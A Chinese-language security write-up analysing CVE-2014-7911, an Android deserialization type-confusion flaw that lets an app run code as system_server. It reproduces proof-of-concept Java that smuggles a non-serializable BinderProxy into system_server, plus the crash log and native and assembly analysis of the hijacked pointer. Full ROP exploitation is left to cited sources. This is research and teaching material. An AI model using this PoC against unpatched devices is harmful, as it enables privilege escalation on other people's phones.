
        <html>
			<head>
			     <title>cve-2014-7911安卓提权漏洞分析 - 小荷才露尖尖角</title>
				 <meta http-equiv="content-type" content="text/html; charset=UTF-8">
			</head>
			<body>
				<h1>原文地址:<a href="http://drops.wooyun.org/mobile/6082">http://drops.wooyun.org/mobile/6082</a></h1>
				
      <p>
        <h1>0x00 简介</h1>

<hr />

<p>CVE-2014-7911是由Jann Horn发现的一个有关安卓的提权漏洞，该漏洞允许恶意应用从普通应用权限提权到system用户执行命令，漏洞信息与POC见(1]。漏洞的成因源于在安卓系统（&lt;5.0）中，java.io.ObjectInputStream并未校验输入的java对象是否是实际可序列化的。攻击者因此可以构建一个不可序列化的java对象实例，恶意构建其成员变量，当该对象实例被ObjectInputStream反序列化时，将发生类型混淆，对象的Field被视为由本地代码处理的指针，使攻击者获得控制权。</p>

<h1>0x02 漏洞分析</h1>

<hr />

<p>在Jann Horm给出的漏洞信息与POC中(1]，向<code>system_server</code>传入的是不可序列化的<code>android.os.BinderProxy</code>对象实例，其成员变量在反序列化时发生类型混淆，由于<code>BinderProxy</code>的finalize方法包含本地代码，于是在本地代码执行时将成员变量强制转换为指针，注意到成员变量是攻击者可控的，也就意味着攻击者可以控制该指针，使其指向攻击者可控的地址空间，最终获得在<code>system_server（uid=1000）</code>中执行代码的权限。下面主要结合POC对漏洞进行详细分析，由于笔者之前对相关的Java序列化、<code>Android binder</code>跨进程通信和native代码都不太熟悉，主要根据参考文献进行翻译、整理和理解，不当之处，还请读者海涵。</p>

<p><strong><em>Java层分析：</em></strong></p>

<p>第一步，构建一可序列化的恶意对象</p>

<p>创建<code>AAdroid.os.BinderProxy</code>对象，并将其放入Bundle数据中</p>

<p><!--more--></p>

<pre><code>#!java
Bundle b = new Bundle();
AAdroid.os.BinderProxy evilProxy = new AAdroid.os.BinderProxy();
b.putSerializable("eatthis", evilProxy);
</code></pre>

<p>注意<code>AAdroid.os.BinderProxy</code>是可序列化的，其成员变量<code>mOrgue</code>就是随后用于改变程序执行流程的指针。随后该可序列化的<code>AAdroid.os.BinderProxy</code>将在传入<code>system_server</code>之间修改为不可序列化的<code>Android.os.BinderProxy</code>对象</p>

<pre><code>#!java
public class BinderProxy implements Serializable {
    private static final long serialVersionUID = 0;
   //public long mObject = 0x1337beef;
   //public long mOrgue = 0x1337beef;
   //注意：此处要根据待测的Android版本号设置，在我们待测试的Android 4.4.4中，BinderProxy的这两个Field为private int，这样才能保证POC访问的地址为我们设置的值0x1337beef
   private int mObject = 0x1337beef;
   private int mOrgue = 0x1337beef;
}
</code></pre>

<p>第二步，准备传入<code>system_server</code>的数据</p>

<p>主要通过一系列java的反射机制，获得<code>android.os.IUserManager.Stub,andrioid.os.IUserManager.Stub.Proxy</code>的Class对象，最终获得跨进程调用<code>system_server</code>的IBinder接口——mRemote，以及调用<code>UserManager.setApplicationRestriction</code>函数的<code>code——TRANSACTION_setApplicationRestriction</code>，为与<code>system_server</code>的跨进程Binder通信作准备。</p>

<pre><code>#!java
Class clIUserManager = Class.forName("android.os.IUserManager");
            Class[] umSubclasses = clIUserManager.getDeclaredClasses();
            System.out.println(umSubclasses.length+" inner classes found");
            Class clStub = null;
            for (Class c: umSubclasses) {
                //it's android.os.IUserManager.Stub
                System.out.println("inner class: "+c.getCanonicalName());
                if (c.getCanonicalName().equals("android.os.IUserManager.Stub")) {
                    clStub = c;
                }
            }

            Field fTRANSACTION_setApplicationRestrictions =
                    clStub.getDeclaredField("TRANSACTION_setApplicationRestrictions");
            fTRANSACTION_setApplicationRestrictions.setAccessible(true);
            TRANSACTION_setApplicationRestrictions =
                    fTRANSACTION_setApplicationRestrictions.getInt(null);

            UserManager um = (UserManager) ctx.getSystemService(Context.USER_SERVICE);
            Field fService = UserManager.class.getDeclaredField("mService");
            fService.setAccessible(true);
            Object proxy = fService.get(um);

            Class[] stSubclasses = clStub.getDeclaredClasses();
            System.out.println(stSubclasses.length+" inner classes found");
            clProxy = null;
            for (Class c: stSubclasses) {
                //it's android.os.IUserManager.Stub.Proxy
                System.out.println("inner class: "+c.getCanonicalName());
                if (c.getCanonicalName().equals("android.os.IUserManager.Stub.Proxy")) {
                    clProxy = c;
                }
            }

            Field fRemote = clProxy.getDeclaredField("mRemote");
            fRemote.setAccessible(true);
            mRemote = (IBinder) fRemote.get(proxy);//获得跨进程调用system_server的IBinder接口

            UserHandle me = android.os.Process.myUserHandle();
            setApplicationRestrictions(ctx.getPackageName(), b, me.hashCode());
</code></pre>

<p>第三步，向<code>system_server</code>传入不可序列化的Bundle参数</p>

<p>接下来，调用<code>setApplicationRestrictions</code>这个函数，并传入了之前打包<code>evilproxy</code>的Bundle数据作为参数。将该函数与Android源码中的<code>setApplicationRestrication</code>函数[6]对比，主要的区别在于将传入的Bundle数据进行了修改，将之前可序列化的<code>AAdroid.os.BinderProxy</code>对象修改为了不可序列化的<code>Android.os.BinderProxy</code>对象，这样就将不可序列化的Bundles数据，通过Binder跨进程调用，传入<code>system_server的Android.os.UserManager.setApplicationRestrictions</code>方法。</p>

<pre><code>#!java
public void setApplicationRestrictions(java.lang.String packageName, android.os.Bundle restrictions, int
            userHandle) throws android.os.RemoteException
    {
        android.os.Parcel _data = android.os.Parcel.obtain();
        android.os.Parcel _reply = android.os.Parcel.obtain();
        try {
            _data.writeInterfaceToken(DESCRIPTOR);
            _data.writeString(packageName);
            _data.writeInt(1);
            restrictions.writeToParcel(_data, 0);
            _data.writeInt(userHandle);

            //修改AAdroid.os.BinderProxy为Android.os.BinderProxy

            byte[] data = _data.marshall();
            for (int i=0; true; i++) {
                if (data[i] == 'A' &amp;&amp; data[i+1] == 'A' &amp;&amp; data[i+2] == 'd' &amp;&amp; data[i+3] == 'r') {
                    data[i] = 'a';
                    data[i+1] = 'n';
                    break;
                }
            }
            _data.recycle();
            _data = Parcel.obtain();
            _data.unmarshall(data, 0, data.length);
            /**
            通过Binder机制跨进程调用Android.os.UserManager.setApplicationRestrictions方法，
            向system_server传入的是实际不可序列化的Android.os.BinderProxy对象
            */
            mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0);
            _reply.readException();
        }
        finally {
            _reply.recycle();
            _data.recycle();
        }
    }
</code></pre>

<p>安装POC，启动<code>Activity</code>后将其最小化，触发GC，引起Android系统重启，从Logcat日志中可以看到，<code>system_server</code>执行到了之前设置的<code>BinderProxy</code>对象的<code>0x1337beef</code>这个值，访问了不该访问的内存，导致异常。错误信号、寄存器快照和调用栈如下：</p>

<pre><code>#!bash
05-14 18:30:55.974: I/DEBUG(3695): Build fingerprint: 'google/hammerhead/hammerhead:4.4.4/KTU84P/1227136:user/release-keys'
05-14 18:30:55.974: I/DEBUG(3695): Revision: '11'
05-14 18:30:55.974: I/DEBUG(3695): pid: 1552, tid: 1560, name: FinalizerDaemon  &gt;&gt;&gt; system_server &lt;&lt;&lt;
05-14 18:30:55.974: I/DEBUG(3695): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 1337bef3
05-14 18:30:56.064: I/DEBUG(3695):     r0 1337beef  r1 401b89d9  r2 746fdad8  r3 6d4fbdc4
05-14 18:30:56.064: I/DEBUG(3695):     r4 401b89d9  r5 1337beef  r6 713e3f68  r7 1337beef
05-14 18:30:56.064: I/DEBUG(3695):     r8 1337beef  r9 74709f68  sl 746fdae8  fp 74aacb24
05-14 18:30:56.064: I/DEBUG(3695):     ip 401f08a4  sp 74aacae8  lr 401b7981  pc 40105176  cpsr 200d0030
...
I/DEBUG   (  241): backtrace:
I/DEBUG   (  241):     #00  pc 0000d176  /system/lib/libutils.so (android::RefBase::decStrong(void const*) const+3)
I/DEBUG   (  241):     #01  pc 0007097d  /system/lib/libandroid_runtime.so
I/DEBUG   (  241):     #02  pc 0001dbcc  /system/lib/libdvm.so (dvmPlatformInvoke+112)
I/DEBUG   (  241):     #03  pc 0004e123  /system/lib/libdvm.so (dvmCallJNIMethod(unsigned int const*, JValue*, Method const*, Thread*)+398)
I/DEBUG   (  241):     #04  pc 00026fe0  /system/lib/libdvm.so
I/DEBUG   (  241):     #05  pc 0002dfa0  /system/lib/libdvm.so (dvmMterpStd(Thread*)+76)
I/DEBUG   (  241):     #06  pc 0002b638  /system/lib/libdvm.so (dvmInterpret(Thread*, Method const*, JValue*)+184)
I/DEBUG   (  241):     #07  pc 0006057d  /system/lib/libdvm.so (dvmCallMethodV(Thread*, Method const*, Object*, bool, JValue*, std::__va_list)+336)
I/DEBUG   (  241):     #08  pc 000605a1  /system/lib/libdvm.so (dvmCallMethod(Thread*, Method const*, Object*, JValue*, ...)+20)
I/DEBUG   (  241):     #09  pc 00055287  /system/lib/libdvm.so
I/DEBUG   (  241):     #10  pc 0000d170  /system/lib/libc.so (__thread_entry+72)
I/DEBUG   (  241):     #11  pc 0000d308  /system/lib/libc.so (pthread_create+240)
</code></pre>

<p><strong><em>Native层分析:</em></strong></p>

<p>假如<code>BinderProxy</code>可以被序列化，那么在反序列化时，其field引用的对象也会被反序列化；但在POC中<code>ObjectInputStream</code>反序列化的<code>BinderProxy</code>对象实例不可序列化，这样在<code>ObjectInputStream</code>反序列化<code>BinderProxy</code>对象时，发生了类型混淆（type confusion），其field被当做随后由Native代码处理的指针。这个filed就是之前设置的<code>0x1337beef</code>，具体而言，就是mOrgue这个变量。</p>

<p><code>android.os.BinderProxy</code> 的finalize方法调用native代码，将mOrgue处理为指针.</p>

<pre><code>#!java
protected void finalize() throws Throwable {
    destroy();
    super.finalize();
    return;
    Exception exception;
    exception;
    super.finalize();
    throw exception;
}
</code></pre>

<p>其中，destroy为native方法</p>

<pre><code>    #!java
private final native void destroy();
</code></pre>

<p>cpp代码</p>

<pre><code>#!c++
static void android_os_BinderProxy_destroy(JNIEnv* env, jobject obj)
{
    IBinder* b = (IBinder*)
            env-&gt;GetIntField(obj, gBinderProxyOffsets.mObject);
    DeathRecipientList* drl = (DeathRecipientList*)
            env-&gt;GetIntField(obj, gBinderProxyOffsets.mOrgue);
    LOGDEATH("Destroying BinderProxy %p: binder=%p drl=%p\n", obj, b, drl);
    env-&gt;SetIntField(obj, gBinderProxyOffsets.mObject, 0);
    env-&gt;SetIntField(obj, gBinderProxyOffsets.mOrgue, 0);
    drl-&gt;decStrong((void*)javaObjectForIBinder);
    b-&gt;decStrong((void*)javaObjectForIBinder);
    IPCThreadState::self()-&gt;flushCommands();
}
</code></pre>

<p>最终native代码调用上述<code>decStrong</code>方法，从</p>

<pre><code>#!java      
DeathRecipientList* drl = (DeathRecipientList*)
            env-&gt;GetIntField(obj, gBinderProxyOffsets.mOrgue);
</code></pre>

<p>这一行可以看出，drl就是mOrgue，可以被攻击者控制。 所以，<code>drl-&gt;decStrong</code>方法调用使用的this指针可由攻击者控制。</p>

<p>再看一下RefBase类中的decStrong方法</p>

<pre><code>#!c++
void RefBase::decStrong(const void* id) const
{
    weakref_impl* const refs = mRefs;
    refs-&gt;removeStrongRef(id);
    const int32_t c = android_atomic_dec(&amp;refs-&gt;mStrong);
#if PRINT_REFS
    ALOGD("decStrong of %p from %p: cnt=%d\n", this, id, c);
#endif
    ALOG_ASSERT(c &gt;= 1, "decStrong() called on %p too many times", refs);
    if (c == 1) {
        refs-&gt;mBase-&gt;onLastStrongRef(id);
        if ((refs-&gt;mFlags&amp;OBJECT_LIFETIME_MASK) == OBJECT_LIFETIME_STRONG) {
            delete this;
        }
    }
    refs-&gt;decWeak(id);
}
</code></pre>

<p>注意上述<code>refs-&gt;mBase-&gt;onLastStrongRef(id)</code>最终导致代码执行。</p>

<p><strong><em>汇编代码分析：</em></strong></p>

<p>下面看一下发生异常时最后调用的<code>RefBase:decStrong</code>的汇编代码。将<code>libutils.so</code>拖入IDA Pro，查看<code>Android::RefBase::decStrong</code>函数。分析时需要牢记的是，攻击者能够控制r0(this指针)</p>

<p><img src="http://static.wooyun.org//drops/20150625/2015062503005461992.png" alt="image" /></p>

<p>首先对r0的使用，是在decStrong的前下面三行代码之中</p>

<pre><code>#!c++
weakref_impl* const refs = mRefs;
refs-&gt;removeStrongRef(id);
const int32_t c = android_atomic_dec(&amp;refs-&gt;mStrong);
</code></pre>

<p>对应的汇编代码如下</p>

<pre><code>ldr     r4, [r0, #4]   # r0为this指针，r4为mRefs
mov     r6, r1
mov     r0, r4
blx     &lt;android_atomic_dec ()&gt;
</code></pre>

<p>首先，mRefs被加载到r4。（r0是drl的this指针，mRefs是虚函数表之后的第一个私有变量，因此mRefs为r0+4所指向的内容）</p>

<p>然后，android&#95;atomic&#95;dec函数被调用，传入参数&amp;refs->mStrong.</p>

<pre><code>#!c++
const int32_t c = android_atomic_dec(&amp;refs-&gt;mStrong);
</code></pre>

<p>这被翻译为</p>

<pre><code>#bash
mov     r0, r4  # r4指向mStrong，r0指向mStrong
blx     &lt;android_atomic_dec ()&gt;
</code></pre>

<p>作为函数参数，上述r0就是<code>&amp;refs-&gt;mStrong</code>。注意，mStrong是refs（类<code>weakref_impl</code>）的第一个成员变量，由于<code>weakref_impl</code>没有虚函数，所以没有虚函数表，因此mStrong就是r4所指向的内容。</p>

<p>另外，<code>refs-&gt;removeStrongRef(id);</code>这一行并没有出现在汇编代码中，因为这个函数为空实现，编译器进行了优化。如下所示。</p>

<pre><code>#!c++
void removeStrongRef(const void* /*id*/) { }
</code></pre>

<p>在调用android&#95;atomic&#95;dec后，出现的是以下代码</p>

<pre><code>#!c++
if (c == 1) {
    refs-&gt;mBase-&gt;onLastStrongRef(id);
</code></pre>

<p>对应的汇编代码</p>

<pre><code>#!bash
cmp     r0, #1          # r0 = refs-&gt;mStrong
bne.n   d1ea
ldr     r0, [r4, #8]    # r4 = &amp;refs-&gt;mStrong
mov     r1, r6
ldr     r3, [r0, #0] 
ldr     r2, [r3, #12]
blx     r2    
</code></pre>

<p>注意，<code>android_atomic_dec</code>函数执行强引用计数减1，返回的是执行减1操作之前所指定的内存地址存放的值。为了调用<code>refs-&gt;mBase-&gt;onLastStrongRef(id)</code>(即：<code>blx r2</code>)，攻击者需要使<code>refs-&gt;mStrong</code>为1.</p>

<p>至此，可以看出攻击者为了实现代码执行，需要满足如下约束条件：</p>

<ol>
<li>drl(就是<code>mOrgue</code>，第一个可控的指针，在进入<code>decStrong</code>函数时的r0)必须指向可读的内存区域;</li>
<li><code>refs-&gt;mStrong</code>必须为1;</li>
<li><code>refs-&gt;mBase-&gt;onLastStrongRef(id)</code>需要执行成功。并最终指向可执行的内存区域。即满足</li>
</ol>

<p>and</p>

<pre><code>#!c++
if(*(*(mOrgue+4))==1){
    refs = *(mOrgue+4)
    r2 = *(*(*(refs+8))+12)
    blx r2  -----&gt;获取控制权
}
</code></pre>

<p>除此以外，攻击者还必须克服Android中的漏洞缓解技术——ASLR和DEP。</p>

<h1>0x03漏洞利用</h1>

<hr />

<p>为了成功获得任意代码执行，攻击者可以使用堆喷射、堆栈转移（stack pivoting）和ROP等技术。受限于笔者目前水平，这里就不再分析了，具体分析和retme大牛的POC可参见[2,3,4]。</p>

<p>值得注意的是，尽管Android采用了ASLR机制，但为了获得正确的地址，可以基于这样一个事实：<code>system_server</code>和攻击者app都是从同一个进程<code>-Zygote fork</code>而来，具有相同的基址，攻击者通过分析自己进程的map文件（位于/proc/<pid>/maps）就可以知道<code>system_server</code>以及所加载模块的内存布局。</p>

<p>另外一个有趣的话题是，洞主Jann Horn对PAN的分析进行了评论(2]，认为不需要复杂的ROP gadgets就可以实现命令执行，而PAN对此进行了澄清。这从侧面反映了漏洞利用技术也是一门大的学问，有时即使漏洞发现者也未必能够真正理解漏洞利用的挑战。</p>

<p>最后Jann Horn谈到了发现此漏洞的灵感(5]，源于他在大学时听到的一次讲座，涉及到某个PHP web应用在反序列化攻击者输入数据时出现的漏洞，这使他思考其他应用是否也有类似的问题。他知道Java的反序列化由<code>ObjectInputStream</code>处理不可信的输入数据，android也许忘了进行检查。是的，漏洞就在那里。</p>

<p><strong><em>参考文献</em></strong></p>

<p>(1] <a href="http://seclists.org/fulldisclosure/2014/Nov/51">http://seclists.org/fulldisclosure/2014/Nov/51</a></p>

<p>(2] <a href="http://researchcenter.paloaltonetworks.com/2015/01/cve-2014-7911-deep-dive-analysis-android-system-service-vulnerability-exploitation">http://researchcenter.paloaltonetworks.com/2015/01/cve-2014-7911-deep-dive-analysis-android-system-service-vulnerability-exploitation</a></p>

<p>(3] <a href="https://github.com/retme7/CVE-2014-7911_poc">https://github.com/retme7/CVE-2014-7911_poc</a></p>

<p>(4] <a href="https://github.com/retme7/My-Slides/blob/master/xKungfooSH%40retme.pdf">https://github.com/retme7/My-Slides/blob/master/xKungfooSH%40retme.pdf</a></p>

<p>(5] https://www.reddit.com/r/netsec/comments/2mr9cz/cve20147911&#95;android&#95;50&#95;privilege&#95;escalation_using/\</p>

<p>(6]<a href="http://grepcode.com/file/repository.grepcode.com/java/ext/com.google.android/android/4.4_r1/android/os/IUserManager.java#IUserManager.Stub.Proxy.setApplicationRestrictions%28java.lang.String%2Candroid.os.Bundle%2Cint%29">http://grepcode.com/file/repository.grepcode.com/java/ext/com.google.android/android/4.4_r1/android/os/IUserManager.java#IUserManager.Stub.Proxy.setApplicationRestrictions%28java.lang.String%2Candroid.os.Bundle%2Cint%29</a></p>      </p>
    
			</body>
		</html>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            